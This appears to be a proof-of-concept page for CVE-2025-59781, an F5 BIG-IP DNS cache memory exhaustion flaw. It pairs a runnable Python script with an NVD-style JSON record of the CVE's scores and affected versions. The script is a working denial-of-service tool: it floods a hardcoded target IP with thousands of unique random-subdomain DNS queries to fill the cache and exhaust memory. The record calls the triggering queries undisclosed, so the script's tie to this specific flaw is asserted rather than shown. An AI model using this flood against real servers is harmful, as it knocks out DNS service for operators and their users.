CVE-2025-59781

# CVE-2025-59781 PoC - F5 BIG-IP DNS Cache Memory Exhaustion # This PoC demonstrates the concept of triggering memory resource exhaustion # on F5 BIG-IP devices with DNS cache enabled. import socket import struct import random import time def build_dns_query(domain): """Build a simple DNS query packet""" # DNS Header transaction_id = random.randint(0, 65535) flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack('!HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question section question = b'' for part in domain.split('.'): question += struct.pack('B', len(part)) + part.encode() question += b'\x00' # End of domain name question += struct.pack('!HH', 1, 1) # Type A, Class IN return header + question def trigger_dns_cache_exhaustion(target_ip, target_port=53, iterations=10000): """ Send numerous unique DNS queries to trigger memory exhaustion on vulnerable F5 BIG-IP DNS cache """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Sending {iterations} DNS queries...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) try: for i in range(iterations): # Generate unique domain names to fill DNS cache random_subdomain = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=20)) domain = f"{random_subdomain}.example{i}.com" query = build_dns_query(domain) sock.sendto(query, (target_ip, target_port)) if i % 1000 == 0: print(f"[+] Sent {i} queries...") time.sleep(0.01) except Exception as e: print(f"[-] Error: {e}") finally: sock.close() print("[*] Attack completed") if __name__ == "__main__": # Target vulnerable F5 BIG-IP with DNS cache enabled TARGET = "192.168.1.100" trigger_dns_cache_exhaustion(TARGET)

{"cve": {"id": "CVE-2025-59781", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:55.117", "lastModified": "2025-10-22T21:02:07.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When DNS cache is configured on a BIG-IP or BIG-IP Next CNF virtual server, undisclosed DNS queries can cause an increase in memory resource utilization.   Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-459"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "A7A0C1CA-EDEF-463F-B7C8-8B9E67239FC1"}, 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